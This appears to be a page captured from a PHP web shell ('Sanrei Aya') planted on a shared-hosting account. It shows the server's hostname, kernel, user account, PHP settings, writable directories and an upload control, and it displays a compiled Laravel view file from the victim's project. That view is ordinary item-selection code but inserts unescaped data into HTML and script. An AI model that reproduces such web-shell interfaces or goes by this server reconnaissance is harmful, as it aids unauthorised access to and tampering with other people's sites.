Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/tenant/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/tenant/storage/framework/views/9d9ef9a55ad817fc1a5c34f413d98859.php
<?php $__env->startSection('content-modal-item'); ?>
    <div class="modal fade" id="modal_item">
        <div class="modal-dialog modal-xl">
            <div class="modal-content">
                <div class="modal-header">
                    <h4 class="modal-title">item</h4>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <table id="tbl_modal_item" class="table table-sm table-bordered table-striped">
                        <thead>
                            <tr>
                                <th class="text-center">Photo</th>
                                <th class="text-center">Type</th>
                                <th class="text-center">Code</th>
                                <th class="text-center">Name</th>
                                <th class="text-center">Description</th>
                                <th class="text-center">Active</th>
                                <th class="text-center">Updated</th>
                                <th class="text-center d-print-none">#</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php $__currentLoopData = $item; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <tr>
                                    <td>
                                        <?php if(isset($data->photo)): ?>
                                            <?php if($data->photo != null && file_exists(public_path('storage/' . config('app.dir_file_items') . '/' . $data->photo))): ?>
                                                <img width="50" height="50" src=<?php echo e(config('app.url') . '/storage/' . config('app.dir_file_items') . '/' . $data->photo); ?> class="rounded">
                                            <?php else: ?>
                                                <img width="50" height="50" src=<?php echo e(asset(config('app.img_not_found'))); ?> class="rounded">
                                            <?php endif; ?>
                                        <?php else: ?>
                                            <img width="50" height="50" src=<?php echo e(asset(config('app.img_not_found'))); ?> class="rounded">
                                        <?php endif; ?>
                                    </td>
                                    <td>
                                        <?php echo e($data->type); ?>

                                    </td>
                                    <td>
                                        <?php echo e($data->code); ?>

                                    </td>
                                    <td>
                                        <?php echo e($data->name); ?>

                                    </td>
                                    <td>
                                        <?php echo e($data->description); ?>

                                    </td>
                                    <td>
                                        <input type="checkbox" <?php echo e($data->is_active == 1 ? 'checked' : ''); ?> disabled />
                                    </td>
                                    <td>
                                        <?php echo e($data->updated_at); ?>

                                    </td>
                                    <td class="d-print-none">
                                        <a href="#" onclick='selectModalItem(<?php echo e($data); ?>)'><span class="badge bg-warning p-1"><i class="fa fa-arrow-right mr-1"></i>Select</span></a>
                                    </td>
                                </tr>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </tbody>
                    </table>
                </div>
                <div class="modal-footer d-flex justify-content-start justify-content-md-end d-print-none">
                    <button type="button" class="btn btn-warning" data-dismiss="modal" onclick='selectModalItemAll(<?php echo e($item); ?>)'><i class="fa fa-arrow-right mr-1"></i>Select All</button>
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
            <!-- /.modal-content -->
        </div>
        <!-- /.modal-dialog -->
    </div>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-script-modal-item'); ?>
<script>
    new DataTable('#tbl_modal_item', {
        order: [[1, 'asc']],
        columns: [
            {
                    data: 'photo',
                    name: 'photo',
                    targets: 0,
                    className: 'dt-body-center'
                },
                {
                    data: 'type',
                    name: 'type',
                    targets: 1,
                    className: 'dt-body-left'
                },
                {
                    data: 'code',
                    name: 'code',
                    targets: 2,
                    className: 'dt-body-left'
                },
                {
                    data: 'name',
                    name: 'name',
                    targets: 3,
                    className: 'dt-body-left'
                },
                {
                    data: 'description',
                    name: 'description',
                    targets: 4,
                    className: 'dt-body-left'
                },
                {
                    data: 'is_active',
                    name: 'is_active',
                    targets: 5,
                    className: 'dt-body-center'
                },
                {
                    data: 'updated_at',
                    name: 'updated_at',
                    targets: 6,
                    className: 'dt-body-left',
                    width: 150,
                },
                {
                    data: 'action',
                    name: 'action',
                    targets: 7,
                    className: 'dt-body-center',
                    width: 150,
                    orderable: false,
                }
        ]
    });

    function selectModalItemAll(data) {
        document.getElementById("tbody-item").innerHTML = "";
        for (let index = 0; index < data.length; index++) {
            selectModalItem(data[index], true);
        }
    }

    function selectModalItem(data, all = false, fromEvent='click') {
        var type = 'item';
        var exists = dataExists_ByClassname_FromTable(type, type + '_id', data.id, 'rowCount' + type);
        if (exists[0] == true) {
            if (fromEvent == 'click') {
                alert('Data already exists!');
            } else if (fromEvent == 'enter') {
                document.getElementById(type + "[" + exists[1] + "][qty]").value = parseFloat(document.getElementById(type + "[" + exists[1] + "][qty]").value) + 1;
                scan_indicator("lbl_code_item", "lbl_code_item", "ok");
                document.getElementById("enter_code_item").value = "";
            }

            calculateQty();
            return;
        }

        var html="";
        var total_element = $(".rowCount" + type).length;
        if (total_element == 0) {
            document.getElementById("tbody-" + type).innerHTML = "";
        }

        var total_element = $(".rowCount" + type).length;
        var rows = 1;

        if (total_element > 0) {
            var lastid = $(".rowCount" + type + ":last").attr("id");
            var split_id = lastid.split("_");
            rows = Number(split_id[1]) + 1;
        }

        html="";
        html +='<tr class="rowCount' + type + '" id="rowCount' + type + '_' + rows + '">';
            html +='<td>';
                html +='<input type="hidden" class="form-control" id="' + type + '[' + rows + '][item_id]" name="' + type + '[' + rows + '][item_id]" value=' + data.id + ' />';
                html +=data.type;
            html +='</td>';

            html +='<td>' + data.name + '</td>';

            html +='<td>';
                html +='<input type="number" step="any" class="form-control item_total_qty" id="' + type + '[' + rows + '][qty]" name="' + type + '[' + rows + '][qty]" value="1" style="text-align: right;" onkeyup="calculateQty()" />';
            html +='</td>';

            html +='<td class="text-center"><a href="#" onclick="removeSelectitem(`' + type + '`, ' + rows + ')"><span class="text-danger"><i class="fa fa-trash"></i></span></a></td>';
        html +='</tr>';

        $("#tbody-" + type).append(html);

        if (!all) {
            $('#modal_item').modal('hide');
        }

        if (fromEvent == 'enter') {
            scan_indicator("lbl_code_item", "lbl_code_item", "ok");
        }

        document.getElementById("enter_code_item").value = "";
        calculateQty();
    }

    function removeSelectitem(type, rows) {
        if (document.getElementById("rowCount" + type + "_" + rows)) {
            document.getElementById("rowCount" + type + "_" + rows).remove();
        }

        var total_element = $(".rowCount" + type).length;
        if (total_element == 0) {
            resetTableDetail(type);
        }

        calculateQty();
    }

    function fill_data_detail_item() {
        var data;
        var type = 'item';
        
        if ($i_detail_item) {
            data = $i_detail_item;
            Object.keys(data).forEach(key => {
                var items = <?php echo json_encode($item); ?>;
                for (let index = 0; index < items.length; index++) {
                    if (items[index]['id'] == data[key]['item_id']) {
                        selectModalItem(items[index], true);

                        var rows = 1;
                        var lastid = $(".rowCount" + type + ":last").attr("id");
                        var split_id = lastid.split("_");
                        rows = Number(split_id[1]);

                        document.getElementById(type + '[' + rows + '][qty]').value = formatDecimal(data[key]['qty'], 2);
                        break;
                    }
                }
            });
        }

        calculateQty();
    }

    function calculateQty() {
        var type = 'item';
        var qty = 0;
        $('.' + type + '_total_qty').each(function() {
            qty += parseFloat($(this).val());
        });
                
        document.getElementById("total_qty").value = formatDecimal(qty, 2);
    }
</script>
<?php $__env->stopSection(); ?><?php /**PATH /home/elvh3918/public_html/tenant/resources/views/content/trans/incoming/partials/modal/item.blade.php ENDPATH**/ ?>

Yohohohohohooho | Sanrei Aya